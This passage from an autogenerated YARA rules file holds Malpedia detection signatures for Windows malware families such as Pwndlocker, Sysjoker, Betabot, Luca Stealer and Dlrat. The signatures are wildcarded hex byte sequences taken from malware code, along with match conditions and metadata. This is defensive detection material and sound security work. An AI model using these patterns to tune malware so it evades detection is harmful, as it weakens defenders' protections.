		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8c240c000100 56 8d842414000100 50 51 8d542410 52 }
		$sequence_1 = { 7413 0fb7542418 8b44241c 50 89570c ff15???????? 8b4f60 }
		$sequence_2 = { 51 89742478 e8???????? 8b8c2450010000 83c404 5f }
		$sequence_3 = { e8???????? 8b550c 8b02 89450c 3b35???????? 7442 }
		$sequence_4 = { 83c710 e8???????? 59 8b4c2414 50 56 6a03 }
		$sequence_5 = { 8bc7 c20400 55 8bec 56 57 8b7d08 }
		$sequence_6 = { 6a00 e8???????? c745fcffffffff 8b45dc 8b08 8b5104 8b440228 }
		$sequence_7 = { 8d8424d0010000 50 89442430 e8???????? }
		$sequence_8 = { 037dbc 8d5d94 8d75d4 e8???????? 8bf0 e8???????? 8b4dcc }
		$sequence_9 = { 52 8d842434010000 50 8d4c2420 }
		$sequence_10 = { 6a03 68000000c0 68???????? ff15???????? 6a02 }
		$sequence_11 = { 837d1000 57 8bf9 7e5f 53 8b5d08 56 }
		$sequence_12 = { 6a02 e8???????? 83bc24f000000010 8b8424dc000000 7307 8d8424dc000000 ffb424ec000000 }
		$sequence_13 = { 59 5e 5b 8b8c243c010000 33cc e8???????? }
		$sequence_14 = { 8b7d08 33db 68ff0f0000 8d8424cd000000 53 50 889c24d4000000 }
	condition:
		7 of them and filesize < 1441792
}

rule MALPEDIA_Win_Pwndlocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0ef9ef98-b584-5412-b76c-e3c013260c32"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pwndlocker_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "5bc1fe4d9dda2a3d7b92f6be48794f673659ba8123fb93f2622432356a3f4a56"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 668b044e 8b721c 01de 8b0486 }
		$sequence_1 = { 31ff 31c0 fc ac 84c0 7407 }
		$sequence_2 = { 49 8d348a 8b36 01de 31ff 31c0 }
		$sequence_3 = { 75e0 5a 8b7224 01de 31c0 668b044e }
		$sequence_4 = { 01c7 ebf4 3b7df0 75e0 }
		$sequence_5 = { 31c0 fc ac 84c0 7407 c1cf0d }
		$sequence_6 = { 8b7224 01de 31c0 668b044e }
		$sequence_7 = { 01d8 83c078 8b00 8d3403 8b4e18 8b5620 01da }
		$sequence_8 = { 83c078 8b00 8d3403 8b4e18 8b5620 01da }
		$sequence_9 = { ac 84c0 7407 c1cf0d 01c7 ebf4 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Minibrowse_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "10e3be16-7c28-577f-b9d3-3ef306665a79"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibrowse"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibrowse_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "832a6f1a1806ae15f070571362445b96d0797510bb64e050cd468771ae5f3839"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b10 488b442440 488b08 49b9fe54fd6de0b04522 4c030d???????? }
		$sequence_1 = { eb00 488b45b8 8b10 488d4dd8 e8???????? eb00 488b15???????? }
		$sequence_2 = { 48b82faa1e82712b2956 480305???????? 8b08 48b82faa1e82712b2956 480305???????? 8908 48b82faa1e82712b2956 }
		$sequence_3 = { ffd0 4889442430 488b542430 488b4c2438 49b8ae95c15973721312 4c0305???????? 48b80ca985ca9581e688 }
		$sequence_4 = { f7f1 89c1 48b85a5ff63d0a40dfa2 480305???????? 8908 48b85a5ff63d0a40dfa2 480305???????? }
		$sequence_5 = { b903000000 31d2 f7f1 89c1 48b8d4f3e92d0d1244e8 480305???????? }
		$sequence_6 = { 48894c2438 488b442438 4889442428 488b4c2440 48ba99b0f0dd579ba6c4 480315???????? 48b86641bd6f7fab0f25 }
		$sequence_7 = { e9???????? 488b442438 48c7401000000000 488b442438 48c7401807000000 66c744244e0000 488b4c2438 }
		$sequence_8 = { 01ca 48b9ae6044a06c22125f 48030d???????? 8911 a801 7502 eb36 }
		$sequence_9 = { 4883ec48 88542447 4c89442438 48894c2430 488b4c2430 48894c2428 48ba856a0e13b3e6f301 }
	condition:
		7 of them and filesize < 1779712
}

rule MALPEDIA_Win_Chinad_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bcb15e04-b813-5c23-a320-19f34e438aaa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinad_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "68dce9aa3cd2233ae8311dfd66d73079e3ad26ce882f6e912148b0f3a7f1f190"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0facde15 83c007 c1fb15 50 89b574ffffff 899d44ffffff e8???????? }
		$sequence_1 = { 2385d4feffff 8d93f36f2e68 8985d8feffff 8bc6 2385b8feffff 0985d8feffff 8bc7 }
		$sequence_2 = { c64418050a 745a 8b048d88ec4300 8a441825 3c0a }
		$sequence_3 = { 8d8534ffffff 50 e8???????? 8d8534ffffff 50 e8???????? 83c430 }
		$sequence_4 = { 13bd2cfdffff 81c3281e6323 81d7faffbe90 019d14fdffff 11bd38fdffff }
		$sequence_5 = { 898508fdffff 8b8514fdffff 33ff 898d2cfdffff 33d2 8b8d38fdffff }
		$sequence_6 = { 0facca08 8975fc c1e908 8850f8 8bce 8bd3 0facca10 }
		$sequence_7 = { 50 e8???????? 8b4dec 33c8 8b4514 03c1 894dec }
		$sequence_8 = { 8b8d9cfeffff 898d9cfeffff 8b9594feffff 899590feffff 8b8598feffff 898594feffff 8b8da4feffff }
		$sequence_9 = { 8b8520fdffff 0bd1 319508fdffff 33d2 8b8d18fdffff 8bf1 0fa4c119 }
	condition:
		7 of them and filesize < 598016
}

rule MALPEDIA_Win_Remy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e336b399-c824-5cff-9d79-2b28637c647b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remy_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "78b349d77eab72ccd2cb565c0bcdfc5bac491569a0a70fac7617d2ce3551a21d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 668945e1 8845e3 8b4508 885ddc 50 b808000000 8d5ddc }
		$sequence_1 = { 899c24a0000000 89bc24c0000000 899c24c4000000 899c24c8000000 8b442410 8d542418 52 }
		$sequence_2 = { 83c404 8db558ffffff e8???????? c645fc01 8b08 8bb564ffffff 8d41f0 }
		$sequence_3 = { 746e 50 e8???????? 8bf0 eb66 8d4de0 }
		$sequence_4 = { 8b4d20 b802000000 c745fc00000000 51 6689459c ff15???????? }
		$sequence_5 = { 8d8d4cffffff 8d9548feffff 898500feffff 898d04feffff 899508feffff 8d853cffffff 8d8d94feffff }
		$sequence_6 = { c70001000000 8b4620 50 895dac 895da8 ff15???????? 83f8ff }
		$sequence_7 = { c684243003000002 c7842480010000fe454c35 66c7842484010000fe4c c684248601000000 8d842480010000 800027 40 }
		$sequence_8 = { 52 6806100000 68ffff0000 56 ff15???????? 6a04 8d45d0 }
		$sequence_9 = { 8bce e8???????? 837e1410 7202 8b36 8d472c }
	condition:
		7 of them and filesize < 507904
}

rule MALPEDIA_Win_Kdcsponge_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "31a4aae6-c5e0-50ee-8647-19b734337847"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kdcsponge_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "797313fd55f6c292fca430846a21ff5b3c78f0f888b26a3429a3aef947194551"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 80fa01 751c 80bbc204000000 7709 80bbbc0400000f 740a c783a004000002000000 }
		$sequence_1 = { 41b800100000 488d442440 48894c2448 4889442428 488d0d3bdd0200 4c89742420 ff15???????? }
		$sequence_2 = { 894364 0fb601 488bcb ff14c2 83bb7804000010 750c d1bb44040000 }
		$sequence_3 = { 754d 83ba4404000020 7c0f c7826004000004000000 8d4804 eb0f c7826004000002000000 }
		$sequence_4 = { 4883c8ff 807c030100 488d4001 75f5 448d4801 }
		$sequence_5 = { 7514 4183b85004000004 750a 4180b8a604000000 740a 488d4201 488b5c2408 }
		$sequence_6 = { 0fb64101 c1e806 898348040000 83f803 0f84d6000000 488d8b10010000 c7436000001900 }
		$sequence_7 = { 4053 4883ec20 80b9c304000001 488bd9 0f853d010000 80b9b004000001 0f850a020000 }
		$sequence_8 = { b800001100 b900001400 0f44c1 894360 7507 c683c504000005 488d8b10010000 }
		$sequence_9 = { e9???????? 33d2 418bcd 448d4201 e8???????? 488b542440 4c8d1ddb420100 }
	condition:
		7 of them and filesize < 720896
}

rule MALPEDIA_Win_Atharvan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dd431719-94ae-5231-a751-29bdaf0704ba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atharvan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atharvan_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "19e37c8e9adb39c411ba39c49044a47b42d2c1f02c40c66504cd4acf945815d9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f6d1 80c103 8848ff 4883ea01 75eb 448b8504010000 488bd5 }
		$sequence_1 = { 4885c0 7441 48c7c1ffffffff 0f1f4000 48ffc1 803c0800 }
		$sequence_2 = { 895128 488d0d9fc10000 488b45d8 488908 488d0d915b0100 488b45d8 }
		$sequence_3 = { 0fb601 84c0 75f1 488d4c2468 b0c2 }
		$sequence_4 = { 48c1f806 4c8d0504f50000 83e23f 488d14d2 498b04c0 f644d03801 7424 }
		$sequence_5 = { ff15???????? 85c0 0f842f010000 b901001000 }
		$sequence_6 = { 488b08 488d05b8330100 483901 7408 488b09 e8???????? 488b03 }
		$sequence_7 = { ff15???????? 488bd8 4883f8ff 742b 448d460e 488bc8 }
		$sequence_8 = { 4533d2 498bd2 4885ff 7e1f 4c8d05179dfeff 4b8b8ce070550200 }
		$sequence_9 = { 458be0 c7442469cf968ed8 4c8bea c744246d8dc8c4cf }
	condition:
		7 of them and filesize < 348160
}

rule MALPEDIA_Win_Sysjoker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b72fee4-7a5b-522c-b325-1510979cb981"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysjoker_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "a2a2517e767f1ff0b106f5e891c93f19537f3a0c72ffc8109655f6e04ec30bb0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4f24 3b4f18 0f83ad060000 8b4714 46 891488 e9???????? }
		$sequence_1 = { c745d40f000000 c645c000 c78564ffffff90a34400 e8???????? 8d8558ffffff c78554ffffff90a34400 50 }
		$sequence_2 = { c78500fdffff00000000 33f6 8b3d???????? 89bde0fcffff 0f1f8000000000 }
		$sequence_3 = { 0f837a100000 8b8fd8000000 85c9 742f 83bfdc00000008 8d87c8000000 }
		$sequence_4 = { 0f84aafeffff 8b8d6cffffff 2bca 8bc2 83e1fc 81f900100000 }
		$sequence_5 = { e8???????? 8b45ec 80780d00 74ae 3975dc 0f845e010000 }
		$sequence_6 = { 8901 51 8bcc c645fc2a 68???????? e8???????? 8d4dc8 }
		$sequence_7 = { 0f8714010000 52 51 e8???????? 83c408 c645fc01 8b8d48feffff }
		$sequence_8 = { 52 8b01 ff5004 51 8bf4 89a5f4fcffff }
		$sequence_9 = { 8906 c645fc12 e8???????? 83c408 e8???????? 8bc8 85c9 }
	condition:
		7 of them and filesize < 832512
}

rule MALPEDIA_Win_Himan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ed257a76-43f6-55c0-abc7-4725d6aa2228"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.himan_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "ca6405bd6a0987e5f551c0a2e97e9d04936f65f5adde6e64c734768ea5c267b3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4608 57 57 57 50 }
		$sequence_1 = { 33d5 8bee 81e5ff000000 c1ee08 3314adbcba6e00 8b28 }
		$sequence_2 = { 8bf9 85c0 7505 e8???????? 8b442418 8b4c2414 }
		$sequence_3 = { 8a83bc986e00 2bc8 8a11 eb02 32d2 8ac2 8aca }
		$sequence_4 = { c1e604 0bce 7c0b 83f940 }
		$sequence_5 = { ffd5 85c0 74d4 8b442438 85c0 74cc 03f0 }
		$sequence_6 = { c1ee10 8bd7 81e6ff000000 c1ea08 8b2cb5bca16e00 81e2ff000000 }
		$sequence_7 = { 8d4c2414 50 51 52 ff15???????? 85c0 7478 }
		$sequence_8 = { 83c408 85c0 7451 8d8c24e0000000 68???????? 51 }
		$sequence_9 = { f3ab 8d44241c 50 ff15???????? 8d4c2418 68???????? 51 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Fanny_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9aa21a1-9e7c-5e0d-923d-00e6b6ec80ca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fanny_auto.yar#L1-L171"
		license_url = "N/A"
		logic_hash = "b1e6181f341236f9aaf561cfa6c0c3a83917a87202fe2ed6a96ef4c3d3c432e2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d4dd8 e8???????? 8b45b4 }
		$sequence_1 = { 8b7d0c 8bf7 8b4508 3bc3 0f84b8020000 }
		$sequence_2 = { a2???????? 8d45fc 50 8d45f0 a4 6a08 50 }
		$sequence_3 = { 57 895df0 740b c1e809 894df4 c1e009 eb03 }
		$sequence_4 = { 5d c3 66c78594fbffff6800 b903000000 8dbd90fbffff 8db5d0fbffff 33d2 }
		$sequence_5 = { 8b4c2408 33f6 8901 8bc6 }
		$sequence_6 = { 50 6808100000 56 ffd7 8b0d???????? }
		$sequence_7 = { 83780c00 7422 8b4dfc 83790400 7419 8b55fc 837a0800 }
		$sequence_8 = { e8???????? 8b45d0 50 8b4d08 51 }
		$sequence_9 = { 894508 8b5510 83ea05 895510 eb09 }
		$sequence_10 = { e9???????? 8b5508 0fb602 3d90000000 753b 8b4d08 }
		$sequence_11 = { f3ab 66ab aa 8a4508 }
		$sequence_12 = { 5b 5d c3 55 8bec 83ec2c 8065ff00 }
		$sequence_13 = { 832700 6800800000 6a00 53 ff15???????? }
		$sequence_14 = { 8b45fc 83c012 50 ffd3 8bf0 59 }
		$sequence_15 = { 8913 751b c745fc01000000 ff33 ff15???????? }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Betabot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dcaf48d4-507f-5b26-9a58-f3ffaf812c78"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.betabot_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "64a375dcaabd1648c075b4080e903b454efe58d8f528e81ccff7ee3035b4b817"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7d0 2345fc eb02 33c0 c9 c20800 55 }
		$sequence_1 = { ff15???????? 85c0 7413 8d4df8 e8???????? 50 8d45f8 }
		$sequence_2 = { 7440 8d45f4 50 8d45f8 50 ff75fc ff15???????? }
		$sequence_3 = { 8bc6 83e80c 53 57 741d 48 7551 }
		$sequence_4 = { 8bec 81ecac000000 8365f800 8365f000 8365f400 8365fc00 }
		$sequence_5 = { ff15???????? 85c0 7504 6a06 eb11 68???????? }
		$sequence_6 = { 741a 837df800 7414 8b45f8 8b4804 e8???????? 8945fc }
		$sequence_7 = { a3???????? 8bc7 5f 5e 5d c20400 55 }
		$sequence_8 = { ff15???????? 85c0 75df 6a32 58 ebdc 55 }
		$sequence_9 = { 8d04b8 833800 7414 ff30 ff45fc e8???????? 8b460c }
	condition:
		7 of them and filesize < 835584
}

rule MALPEDIA_Win_Client_Maximus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "38a249dd-6d8f-54ce-920d-61d566c5cc15"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.client_maximus_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "5ff2445dece4914e3eb7fbfccded1318ff7646d3eb9b7b22684fe253e9bf4e40"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89542404 ff532c 8b5308 83c601 39730c }
		$sequence_1 = { 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 890424 }
		$sequence_2 = { 890424 8954240c ff5320 ff15???????? 895c2408 }
		$sequence_3 = { c70424???????? ffd0 a1???????? 85c0 7438 }
		$sequence_4 = { e8???????? 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 }
		$sequence_5 = { 85c0 741d 8b5330 c744240800800000 }
		$sequence_6 = { 7410 8b5330 890424 89542404 ff532c 8b5308 }
		$sequence_7 = { 89c2 85d2 7409 c70424???????? ffd2 8d65f8 }
		$sequence_8 = { 8b4628 85c0 7535 c70424???????? }
		$sequence_9 = { 85c0 741d 8b5330 c744240800800000 c744240400000000 890424 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Miragefox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "845d5292-b7ea-5816-ae3f-26f365bc2587"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miragefox_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "3f9732b4e7f509d0ad8d4d1803424245eb1ca2a613f2fd892ba39e0af22d7971"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945ca 8b45f4 83c036 66c745c8424d }
		$sequence_1 = { 8b45e0 8b4df4 53 50 8d440828 50 }
		$sequence_2 = { 8a8010132a00 83e00f eb02 33c0 0fbe84c130132a00 c1f804 }
		$sequence_3 = { 8d45fc 50 e8???????? 59 8d44180c }
		$sequence_4 = { 57 8d859c7cffff 6a00 50 e8???????? 57 }
		$sequence_5 = { 2900 59 352900be35 2900 3236 2900 98 }
		$sequence_6 = { 83c418 8d45ec 53 50 8d857cbcffff }
		$sequence_7 = { 85c0 0f84be000000 8d85c0feffff 50 8d85b8fcffff 68???????? 50 }
		$sequence_8 = { 83c01f 894d8c 99 59 8b75b8 f7f9 8b4df4 }
		$sequence_9 = { 8d45f0 8975ec 50 8d45f8 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Dlrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7bb91210-a1a6-58a8-9c5b-ff8edf88b110"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dlrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dlrat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "a3f1e1206cd1c309e34cacc09c3103fc944a2e61c558b93390de2cb1efae2fc5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d0de60b1600 e8???????? 488975b0 4989d9 4531c0 baaa020000 488d0dcb0b1600 }
		$sequence_1 = { 488d1df28e0500 48895dc8 48c745c011000000 488d55c0 488d0dcb8e0500 48894dd8 48c745d009000000 }
		$sequence_2 = { e8???????? 85c0 7818 3de4000000 7311 4898 488d0d723b0100 }
		$sequence_3 = { e8???????? 83fb01 7754 488d05aa270b00 488945a8 48c745a000000000 488d55a0 }
		$sequence_4 = { 48ffc0 482bd8 48899df0fcffff 488b9de8fcffff 4803d8 48899df8fcffff 488d0513701600 }
		$sequence_5 = { 488b8d20ffffff 4883ec20 e8???????? 4883c420 4889c2 488d0de71f1800 4883ec20 }
		$sequence_6 = { 41c64424076c 41c644240863 41c644240979 41c644240a39 41c644240b6f 41c644240c5a 41c644240d57 }
		$sequence_7 = { 488b03 488985a0fcffff 488995a8fcffff 488b3d???????? 488b97b0000000 488b87a8000000 488985b0fcffff }
		$sequence_8 = { e8???????? 48c745b000000000 4c8bce 4c8bc3 ba2f070000 488d0d5e411500 e8???????? }
		$sequence_9 = { ffc1 e8???????? 48894580 48895588 488d4580 48898520ffffff 488d1d6a691000 }
	condition:
		7 of them and filesize < 4121600
}

rule MALPEDIA_Win_Luca_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "962fd693-32a3-53ad-92cd-b5debbabca20"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.luca_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "41100df83b0cacd06b9716ae5b8e2710b883cf9f1a3da041c06d57097240cc33"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb0a f6471280 7504 6683e914 4d85f6 7416 6641395e10 }
		$sequence_1 = { e8???????? 85c0 7428 85db 7524 488d0daee71600 e8???????? }
		$sequence_2 = { e9???????? 4156 56 57 53 4883ec28 83791803 }
		$sequence_3 = { e8???????? 4c8d4768 4889f1 ba03003000 e8???????? 4883c770 4889f1 }
		$sequence_4 = { eb06 492130 412131 488b5c2430 8bc6 488b742438 488b7c2440 }
		$sequence_5 = { 8d507e 448d4301 e8???????? 8b442458 448d4301 448bce 89442420 }
		$sequence_6 = { e9???????? 48b8af39a3b04c5dea12 c3 56 4883ec20 4889ce 89f0 }
		$sequence_7 = { ff15???????? 4438bfa8010000 740c 488b8fe8010000 e8???????? 488bcf e8???????? }
		$sequence_8 = { e8???????? 488d8d60110000 e8???????? 488d8d501f0000 e8???????? 488d15683a2c00 488db560110000 }
		$sequence_9 = { e9???????? 488d542468 48c70205000000 e9???????? 488d542468 48c70202000000 eb7d }
	condition:
		7 of them and filesize < 9285632
}

